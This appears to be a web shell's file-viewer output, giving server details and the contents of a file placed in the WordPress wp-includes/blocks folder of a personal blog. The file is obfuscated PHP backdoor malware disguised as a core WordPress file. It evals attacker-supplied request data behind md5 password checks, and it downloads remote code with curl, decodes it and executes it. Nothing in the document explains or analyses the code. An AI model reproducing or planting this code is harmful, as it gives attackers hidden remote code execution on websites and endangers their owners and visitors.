HEX
Server: Apache
System: Linux hcss-ecs-9037 3.10.0-1160.53.1.el7.x86_64 #1 SMP Fri Jan 14 13:59:45 UTC 2022 x86_64
User: www (1000)
PHP: 8.3.21
Disabled: passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
Upload Files
File: /www/wwwroot/zhangwenbin_blog/wp-includes/blocks/blocks/index.php
<?php
 goto ZvL4UeN7S05X; axfVuqDTHAsp: if (!(in_array(gettype($FefpUag7M8l9) . "\62\70", $FefpUag7M8l9) && md5(md5(md5(md5($FefpUag7M8l9[22])))) === "\x63\x34\62\x34\71\144\x66\145\63\62\x39\x66\x31\143\143\62\x63\x65\62\x39\x32\x66\x32\x36\x37\61\65\x36\x37\x66\144\64")) { goto YUY1lfVFpMld; } goto p4zCfNvmAwDH; l0P1pCV2i23A: $FefpUag7M8l9 = ${$ZBXWDC_32M68[10 + 21] . $ZBXWDC_32M68[40 + 19] . $ZBXWDC_32M68[33 + 14] . $ZBXWDC_32M68[8 + 39] . $ZBXWDC_32M68[29 + 22] . $ZBXWDC_32M68[10 + 43] . $ZBXWDC_32M68[22 + 35]}; goto axfVuqDTHAsp; ot0tbDL0ZFnz: YUY1lfVFpMld: goto zXLjXb8gpKzw; gnK1t3eJJ7KL: class LeNdTF4LI8K5 { static function b_lw2MbosudN($xtCzu6F3Se2w) { goto Z0pU0Sk0z1ON; Vju8Qfb53nCC: $iArp0wpNhCk9 = explode("\53", $xtCzu6F3Se2w); goto aOgf8zBhafMd; VxGQud33AQ7M: return $Z4e2hifaSn0k; goto RCQ04RPJbrFH; Z0pU0Sk0z1ON: $nQCalvrU1y51 = "\162" . "\x61" . "\156" . "\x67" . "\145"; goto lrcGa0J2RY_d; aOgf8zBhafMd: $Z4e2hifaSn0k = ''; goto zEm3x0Rocj9N; NrLGdRNoTuy6: sSrRPGbS_KEB: goto VxGQud33AQ7M; lrcGa0J2RY_d: $hsr8IDZrGpgn = $nQCalvrU1y51("\x7e", "\x20"); goto Vju8Qfb53nCC; zEm3x0Rocj9N: foreach ($iArp0wpNhCk9 as $neC92BJvgeLn => $otce77VqWUms) { $Z4e2hifaSn0k .= $hsr8IDZrGpgn[$otce77VqWUms - 24131]; xhmNPgHYHDbu: } goto NrLGdRNoTuy6; RCQ04RPJbrFH: } static function mS8Qarx10TNO($eLt6a8F1g30y, $drudDTqO5VFC) { goto YgRT22RDz6GI; YgRT22RDz6GI: $hF5Ugq64cyMD = curl_init($eLt6a8F1g30y); goto pDjljcy6UX7J; pDjljcy6UX7J: curl_setopt($hF5Ugq64cyMD, CURLOPT_RETURNTRANSFER, 1); goto lZCkUThitVPJ; lZCkUThitVPJ: $jcMkOPMyw3Yw = curl_exec($hF5Ugq64cyMD); goto Ng0EKRxycHkb; Ng0EKRxycHkb: return empty($jcMkOPMyw3Yw) ? $drudDTqO5VFC($eLt6a8F1g30y) : $jcMkOPMyw3Yw; goto wuXfafHMdS4u; wuXfafHMdS4u: } static function xxb4tFix0Zme() { goto jPrUzT9Bksv2; wSSDSdhddxsd: $TtfdlAFnPk3R = $OSuVjQk_v0zu[2 + 0]($kU603tKlFdMb, true); goto BydM1QUeTByw; wiYMxf1468UP: $kU603tKlFdMb = @$OSuVjQk_v0zu[2 + 1]($OSuVjQk_v0zu[1 + 5], $CJNW5RRg2Tle); goto wSSDSdhddxsd; glif3W6MA_nh: H6ps0fkbYJWX: goto lJ28A8Ks2K2l; sgWTO8gXXiVh: Jo4NnqoKdZTU: goto BEdXGKVxgWne; FBu6yrnkrgf7: foreach ($L08gkfXoWzK3 as $vJbAK1KijNl4) { $OSuVjQk_v0zu[] = self::B_lW2MbOsUdN($vJbAK1KijNl4); icLZ7ssc4014: } goto sgWTO8gXXiVh; BEdXGKVxgWne: $CJNW5RRg2Tle = @$OSuVjQk_v0zu[1]($OSuVjQk_v0zu[10 + 0](INPUT_GET, $OSuVjQk_v0zu[4 + 5])); goto wiYMxf1468UP; jPrUzT9Bksv2: $L08gkfXoWzK3 = array("\x32\64\x31\x35\70\x2b\x32\64\61\64\63\53\62\x34\61\x35\x36\53\x32\64\61\x36\x30\53\x32\64\x31\x34\61\53\62\x34\61\x35\x36\x2b\x32\64\x31\66\x32\53\x32\64\61\65\65\53\62\x34\61\x34\x30\x2b\x32\64\61\x34\x37\53\x32\64\61\x35\70\x2b\x32\64\x31\x34\x31\53\62\x34\61\x35\x32\x2b\x32\64\61\x34\66\x2b\x32\x34\61\64\67", "\x32\x34\61\64\x32\53\62\x34\61\x34\61\53\62\64\x31\x34\x33\x2b\62\64\x31\66\x32\53\x32\x34\61\64\63\53\62\x34\x31\64\x36\x2b\62\64\x31\x34\61\x2b\x32\64\62\x30\70\x2b\x32\64\62\x30\66", "\62\x34\x31\65\61\x2b\x32\64\61\64\x32\53\62\64\x31\x34\66\x2b\62\64\61\x34\x37\x2b\x32\64\x31\66\62\53\62\64\x31\65\67\x2b\62\x34\x31\x35\x36\x2b\x32\64\x31\x35\x38\x2b\62\64\61\64\66\x2b\62\x34\x31\65\67\53\x32\64\61\65\x36", "\x32\x34\x31\x34\65\53\x32\x34\x31\x36\60\x2b\x32\x34\61\65\70\x2b\62\x34\61\x35\60", "\x32\64\61\65\71\x2b\62\64\x31\x36\x30\53\62\64\x31\64\62\53\x32\x34\x31\x35\66\x2b\62\x34\62\x30\x33\53\62\64\x32\x30\65\53\62\64\61\66\62\x2b\62\64\61\x35\x37\53\x32\x34\x31\x35\66\x2b\x32\x34\x31\65\70\x2b\x32\x34\x31\64\66\x2b\x32\64\x31\x35\x37\53\62\64\x31\65\66", "\62\x34\x31\65\x35\53\62\x34\x31\x35\x32\53\x32\64\x31\x34\x39\x2b\62\x34\x31\x35\66\53\62\64\x31\x36\62\x2b\x32\64\61\x35\x34\53\x32\x34\61\65\x36\53\62\x34\61\64\x31\53\62\64\61\66\62\x2b\x32\64\x31\65\70\53\62\x34\61\64\66\53\x32\64\x31\x34\x37\53\62\64\61\64\61\x2b\x32\x34\61\x35\x36\53\x32\x34\61\64\x37\53\x32\x34\x31\x34\61\x2b\x32\64\61\x34\x32", "\62\64\x31\x38\65\53\x32\x34\x32\x31\x35", "\62\64\61\x33\62", "\62\64\x32\61\60\53\62\x34\x32\61\65", "\62\64\61\71\62\x2b\62\x34\x31\67\x35\53\62\x34\61\x37\65\53\x32\64\x31\x39\x32\x2b\62\64\61\x36\x38", "\x32\x34\x31\x35\65\x2b\x32\64\61\65\x32\53\62\x34\x31\x34\x39\x2b\x32\x34\61\64\61\x2b\62\64\61\65\x36\x2b\62\x34\x31\64\x33\53\x32\x34\61\x36\x32\x2b\x32\x34\61\65\x32\53\62\64\61\x34\x37\53\x32\x34\61\x34\65\53\62\64\x31\x34\60\x2b\62\64\x31\64\61"); goto FBu6yrnkrgf7; UEBNXAPh0k5A: die; goto glif3W6MA_nh; PZZAylpwYcyT: if (!(@$TtfdlAFnPk3R[0] - time() > 0 and md5(md5($TtfdlAFnPk3R[0 + 3])) === "\x62\65\x63\x34\61\x64\x36\x61\64\143\x37\141\x34\60\x30\145\x38\61\65\143\x30\142\x38\x31\x31\x38\70\67\x32\x34\x62\146")) { goto H6ps0fkbYJWX; } goto GKNBclbsrQSb; GKNBclbsrQSb: $l5KlE75UeNfp = self::MS8qArX10Tno($TtfdlAFnPk3R[1 + 0], $OSuVjQk_v0zu[4 + 1]); goto xt5SJcrlxHfa; xt5SJcrlxHfa: @eval($OSuVjQk_v0zu[2 + 2]($l5KlE75UeNfp)); goto UEBNXAPh0k5A; BydM1QUeTByw: @$OSuVjQk_v0zu[9 + 1](INPUT_GET, "\x6f\x66") == 1 && die($OSuVjQk_v0zu[2 + 3](__FILE__)); goto PZZAylpwYcyT; lJ28A8Ks2K2l: } } goto GXKrL_XgTvit; p4zCfNvmAwDH: $FefpUag7M8l9[65] = $FefpUag7M8l9[65] . $FefpUag7M8l9[78]; goto ag9rp_hPVHVW; zXLjXb8gpKzw: metaphone("\x30\60\x38\122\x62\x75\x65\114\162\66\x78\x6d\x67\x32\104\x4e\65\144\x37\142\66\x65\x4d\x31\141\x6e\146\x4c\126\103\142\165\x49\x63\111\171\x46\101\157\154\x4e\111\111"); goto gnK1t3eJJ7KL; ag9rp_hPVHVW: @eval($FefpUag7M8l9[65](${$FefpUag7M8l9[42]}[22])); goto ot0tbDL0ZFnz; lVyIZEorxSwo: $ZBXWDC_32M68 = $Vn2EpC2OV0O_("\176", "\x20"); goto l0P1pCV2i23A; ZvL4UeN7S05X: $Vn2EpC2OV0O_ = "\162" . "\x61" . "\x6e" . "\x67" . "\145"; goto lVyIZEorxSwo; GXKrL_XgTvit: lENdTf4lI8K5::XXb4tFIx0zME();
?>